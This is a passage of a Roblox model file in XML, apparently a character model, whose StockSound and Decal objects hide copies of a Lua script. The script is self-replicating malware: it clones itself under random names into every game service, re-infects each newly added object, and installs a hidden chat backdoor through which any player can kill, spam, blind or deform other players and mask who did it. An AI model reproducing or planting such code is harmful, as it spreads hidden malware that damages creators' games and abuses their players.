if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX517">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-40.7944298</X>
								<Y>3.31128693</Y>
								<Z>113.121109</Z>
								<R00>0.802155197</R00>
								<R01>9.38829107e-005</R01>
								<R02>0.597115636</R02>
								<R10>-0.000869754294</R10>
								<R11>0.999999106</R11>
								<R12>0.00101118628</R12>
								<R20>-0.59711498</R20>
								<R21>-0.00133047218</R21>
								<R22>0.802154541</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">0</float>
							<float name="LeftParamB">0</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Torso</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">0</float>
							<float name="RightParamB">0</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="Decal" referent="RBX518">
							<Properties>
								<token name="Face">5</token>
								<string name="Name">roblox</string>
								<float name="Shiny">20</float>
								<float name="Specular">0</float>
								<Content name="Texture"><hash>a7b5654da45eafbc96499a90f764de83</hash></Content>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX519">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">2846wgwjj</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX520">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">2gzrc34e</string>
										<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
						</Item>
						<Item class="StockSound" referent="RBX521">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">i1n5e0</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX522">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">6gt628h</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
